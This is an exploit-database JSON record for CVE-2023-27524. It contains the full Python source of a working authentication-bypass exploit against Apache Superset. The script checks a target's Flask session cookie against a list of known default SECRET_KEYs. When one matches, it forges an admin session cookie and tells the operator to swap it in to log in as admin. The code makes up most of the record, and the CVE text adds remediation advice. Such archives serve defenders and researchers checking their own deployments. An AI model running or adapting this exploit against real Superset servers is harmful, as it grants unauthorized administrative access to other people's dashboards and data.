{"exploit":{"id":"EDB-51447","name":"Apache Superset 2.0.0 - Authentication Bypass","description":"Apache Superset 2.0.0 - Authentication Bypass","cves":["CVE-2023-27524"],"author":"MaanVader","published":"2023-05-23","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/51447","path":"exploits/multiple/webapps/51447.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-51447.py","vulnerabilities":[{"id":"CVE-2023-27524","state":"PUBLISHED","title":"Apache Superset: Session validation vulnerability when using provided default SECRET_KEY","titleSource":"CVE Program","description":"Session Validation attacks in Apache Superset versions up to and including 2.0.1. Installations that have not altered the default configured SECRET_KEY according to installation instructions allow for an attacker to authenticate and access unauthorized resources. This does not affect Superset administrators who have changed the default value for SECRET_KEY config. All superset installations should always set a unique secure random SECRET_KEY. Your SECRET_KEY is used to securely sign all session cookies and encrypting sensitive information on the database. Add a strong SECRET_KEY to your `superset_config.py` file like: SECRET_KEY = <YOUR_OWN_RANDOM_GENERATED_SECRET_KEY> Alternatively you can set it with `SUPERSET_SECRET_KEY` environment variable.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2023-27524","cvss":{"version":"3.1","baseScore":8.9,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L","source":"apache","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2023-27524"},"updatedAt":"2025-10-21T23:05:48.552Z","retrievedAt":"2026-11-26T19:10:21.932Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-51447.png?v=2","url":"https://exploitbin.com/exploits/EDB-51447","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-51447/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-51447/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Apache Superset 2.0.0 - Authentication Bypass\n# Date: 10 May 2023\n# Exploit Author: MaanVader\n# Vendor Homepage: https://superset.apache.org/\n# Version: Apache Superset<= 2.0.1\n# Tested on: 2.0.0\n# CVE: CVE-2023-27524\n\nfrom flask_unsign import session\nimport requests\nimport urllib3\nimport argparse\nimport re\nfrom time import sleep\nfrom selenium import webdriver\nfrom urllib.parse import urlparse\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\n\nSECRET_KEYS = [\n    b'\\x02\\x01thisismyscretkey\\x01\\x02\\\\e\\\\y\\\\y\\\\h',  # version < 1.4.1\n    b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET',          # version >= 1.4.1\n    b'thisISaSECRET_1234',                            # deployment template\n    b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY',          # documentation\n    b'TEST_NON_DEV_SECRET'                            # docker compose\n]\n\ndef main():\n\n    parser = argparse.ArgumentParser()\n    parser.add_argument('--url', '-u', help='Base URL of Superset instance', required=True)\n    parser.add_argument('--id', help='User ID to forge session cookie for, default=1', required=False, default='1')\n    args = parser.parse_args()\n\n    try:\n        u = args.url.rstrip('/') + '/login/'\n\n        headers = {\n            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0) Gecko/20100101 Firefox/101.0'\n        }\n\n        resp = requests.get(u, headers=headers, verify=False, timeout=30, allow_redirects=False)\n        if resp.status_code != 200:\n            print(f'Error retrieving login page at {u}, status code: {resp.status_code}')\n            return\n\n        session_cookie = None\n        for c in resp.cookies:\n            if c.name == 'session':\n                session_cookie = c.value\n                break\n\n        if not session_cookie:\n            print('Error: No session cookie found')\n            return\n\n        print(f'Got session cookie: {session_cookie}')\n\n        try:\n            decoded = session.decode(session_cookie)\n            print(f'Decoded session cookie: {decoded}')\n        except:\n            print('Error: Not a Flask session cookie')\n            return\n\n        match = re.search(r'\"version_string\": \"(.*?)&#34', resp.text)\n        if match:\n            version = match.group(1)\n        else:\n            version = 'Unknown'\n\n        print(f'Superset Version: {version}')\n\n\n        for i, k in enumerate(SECRET_KEYS):\n            cracked = session.verify(session_cookie, k)\n            if cracked:\n                break\n\n        if not cracked:\n            print('Failed to crack session cookie')\n            return\n\n        print(f'Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: {k}')\n\n        try:\n            user_id = int(args.id)\n        except:\n            user_id = args.id\n\n        forged_cookie = session.sign({'_user_id': user_id, 'user_id': user_id}, k)\n        print(f'Forged session cookie for user {user_id}: {forged_cookie}')\n        u1 = args.url.rstrip('/') + '/superset/welcome'\n\n        print(f\"Now visit the url: `{u1}` and replace the current session cookie with this `{forged_cookie}` and refresh the page and we will be logged in as admin to the dashboard:)\")\n\n\n\n\n    except Exception as e:\n        print(f'Unexpected error: {e}')\n\n\nif __name__ == '__main__':\n    main()","sha256":"4e99e79281013784dab5592d8a98a896607c7569be984c4bf1b0af5429258758","bytes":3281,"fetchedAt":"2026-11-27T18:07:33.318Z","encoding":"utf-8 (display only; download retains original bytes)"}